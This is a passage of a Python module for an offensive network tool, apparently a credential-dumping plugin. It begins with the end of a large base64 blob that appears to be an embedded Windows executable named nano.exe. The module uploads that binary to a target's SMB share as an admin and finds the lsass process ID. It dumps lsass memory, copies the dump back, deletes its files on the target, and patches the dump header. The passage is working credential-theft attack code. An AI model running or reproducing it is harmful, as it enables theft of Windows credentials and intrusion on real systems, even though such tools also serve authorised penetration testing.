AAAAAAAAAAAAAAAAAAAAAAAAAAABVbmtub3duIGVycm9yAAAAQXJndW1lbnQgZG9tYWluIGVycm9yIChET01BSU4pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFBhcnRpYWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFBMT1NTKQAAAABUb3RhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoVExPU1MpAAAAAAAAVGhlIHJlc3VsdCBpcyB0b28gc21hbGwgdG8gYmUgcmVwcmVzZW50ZWQgKFVOREVSRkxPVykAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAAAAAAAAAF9tYXRoZXJyKCk6ICVzIGluICVzKCVnLCAlZykgIChyZXR2YWw9JWcpCgAA2Gn//4xp//8kaf//rGn//7xp///Maf//nGn//01pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgAAAAAAQWRkcmVzcyAlcCBoYXMgbm8gaW1hZ2Utc2VjdGlvbgAgIFZpcnR1YWxRdWVyeSBmYWlsZWQgZm9yICVkIGJ5dGVzIGF0IGFkZHJlc3MgJXAAAAAAAAAAACAgVmlydHVhbFByb3RlY3QgZmFpbGVkIHdpdGggY29kZSAweCV4AAAgIFVua25vd24gcHNldWRvIHJlbG9jYXRpb24gcHJvdG9jb2wgdmVyc2lvbiAlZC4KAAAAAAAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAAAAAAAAAAAAAAAAAoG7//6Bu//+gbv//oG7//6Bu//8Ibv//oG7//9Bu//8Ibv//M27//wAAAAAAAAAAKG51bGwpAE5hTgBJbmYAACgAbgB1AGwAbAApAAAAAADSmf//2JP//9iT///smf//2JP///SY///Yk///C5n//9iT///Yk///gJn//7yZ///Yk///h5f//6CX///Yk///vJf//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///Yk///2JP//9iT///cl///2JP//xSY///Yk///TJj//4SY//+8mP//2JP//0KW///Yk///2JP//3CX///Yk///2JP//9iT///Yk///2JP//9iT//8Jmv/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lYXBBbGxvYwBlA0hlYXBGcmVlAAB8A0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AlwNJc0RCQ1NMZWFkQnl0ZUV4AADYA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAMBE11bHRpQnl0ZVRvV2lkZUNoYXIAcgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABbAF9fbGNvbnZfaW5pdAAAYQBfX3NldF9hcHBfdHlwZQAAYwBfX3NldHVzZXJtYXRoZXJyAAByAF9hY21kbG4AeQBfYW1zZ19leGl0AACLAF9jZXhpdAAAlwBfY29tbW9kZQAAvgBfZXJybm8AANwAX2Ztb2RlAAAdAV9pbml0dGVybQCDAV9sb2NrACkCX29uZXhpdAC1Al90aW1lNjQAygJfdW5sb2NrAAwDX3djc2ljbXAAAIoDYWJvcnQAlwNhdG9pAACbA2NhbGxvYwAAqANleGl0AAC8A2ZwcmludGYAvgNmcHV0YwDDA2ZyZWUAANADZndyaXRlAAD5A2xvY2FsZWNvbnYAAP8DbWFsbG9jAAACBG1ic3Rvd2NzAAAHBG1lbWNweQAACQRtZW1zZXQAABsEcmFuZAAAJwRzaWduYWwAADAEc3JhbmQAPARzdHJlcnJvcgAAPgRzdHJsZW4AAEEEc3RybmNtcABFBHN0cnJjaHIAYwR2ZnByaW50ZgAAeQR3Y3NjcHkAAH0Ed2NzbGVuAAB+BHdjc25jYXQAAAAAIAEAQURWQVBJMzIuZGxsAAAAABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAS0VSTkVMMzIuZGxsAAAAACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABAG1zdmNydC5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEEAAAAAAAIBCQAAAAAAAAAAAAAAAAAAAAAAAAAAAANBCQAAAAAAAoEJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")
|
|
self.nano = "nano.exe"
|
|
self.nano_path = "/tmp/shared/"
|
|
self.dir_result = self.nano_path
|
|
self.useembeded = True
|
|
|
|
if 'NANO_PATH' in module_options:
|
|
self.nano_path = module_options['NANO_PATH']
|
|
self.useembeded = False
|
|
|
|
if 'NANO_EXE_NAME' in module_options:
|
|
self.nano = module_options['NANO_EXE_NAME']
|
|
self.useembeded = False
|
|
|
|
if 'TMP_DIR' in module_options:
|
|
self.tmp_dir = module_options['TMP_DIR']
|
|
|
|
if 'DIR_RESULT' in module_options:
|
|
self.dir_result = module_options['DIR_RESULT']
|
|
|
|
def on_admin_login(self, context, connection):
|
|
if self.useembeded == True:
|
|
with open(self.nano_path + self.nano, 'wb') as nano:
|
|
nano.write(self.nano_embeded)
|
|
|
|
context.log.info('Copy {} to {}'.format(self.nano_path + self.nano, self.tmp_dir))
|
|
with open(self.nano_path + self.nano, 'rb') as nano:
|
|
try:
|
|
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
|
context.log.success('Created file {} on the \\\\{}{}'.format(self.nano, self.share, self.tmp_share))
|
|
except Exception as e:
|
|
context.log.error('Error writing file to share {}: {}'.format(share, e))
|
|
|
|
# get pid lsass
|
|
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
|
context.log.info('Getting lsass PID {}'.format(command))
|
|
p = connection.execute(command, True)
|
|
pid = p.split(',')[1][1:-1]
|
|
command = self.tmp_dir + self.nano + ' --pid ' + pid + ' --write ' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
|
|
context.log.info('Executing command {}'.format(command))
|
|
p = connection.execute(command, True)
|
|
context.log.debug(p)
|
|
dump = False
|
|
if 'Done' in p:
|
|
context.log.success('Process lsass.exe was successfully dumped')
|
|
dump = True
|
|
else:
|
|
context.log.error('Process lsass.exe error un dump, try with verbose')
|
|
|
|
if dump:
|
|
regex = r"([A-Za-z0-9]*-[A-Za-z]*[0-9]+-[A-Za-z0-9]*\.log)"
|
|
p = connection.execute("dir " + self.tmp_dir, True)
|
|
context.log.debug(p)
|
|
matches = re.search(regex, str(p), re.MULTILINE)
|
|
machine_name = ''
|
|
if matches:
|
|
machine_name = matches.group()
|
|
else:
|
|
context.log.info("Error getting the lsass.dmp file name")
|
|
sys.exit(1)
|
|
|
|
context.log.info('Copy {} to host'.format(machine_name))
|
|
|
|
with open(self.dir_result + machine_name, 'wb+') as dump_file:
|
|
try:
|
|
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
|
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
|
|
except Exception as e:
|
|
context.log.error('Error while get file: {}'.format(e))
|
|
|
|
try:
|
|
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
|
context.log.success('Deleted nano file on the {} share'.format(self.share))
|
|
except Exception as e:
|
|
context.log.error('Error deleting nano file on share {}: {}'.format(self.share, e))
|
|
|
|
try:
|
|
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
|
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
|
|
except Exception as e:
|
|
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
|
|
|
|
fh = open(self.dir_result + machine_name, "r+b")
|
|
fh.seek(0)
|
|
fh.write(b'\x4d\x44\x4d\x50')
|
|
fh.seek(4)
|
|
fh.write(b'\xa7\x93')
|
|
fh.seek(6)
|
|
fh.write(b'\x00\x00')
|
|
fh.close()
|
|
|
|
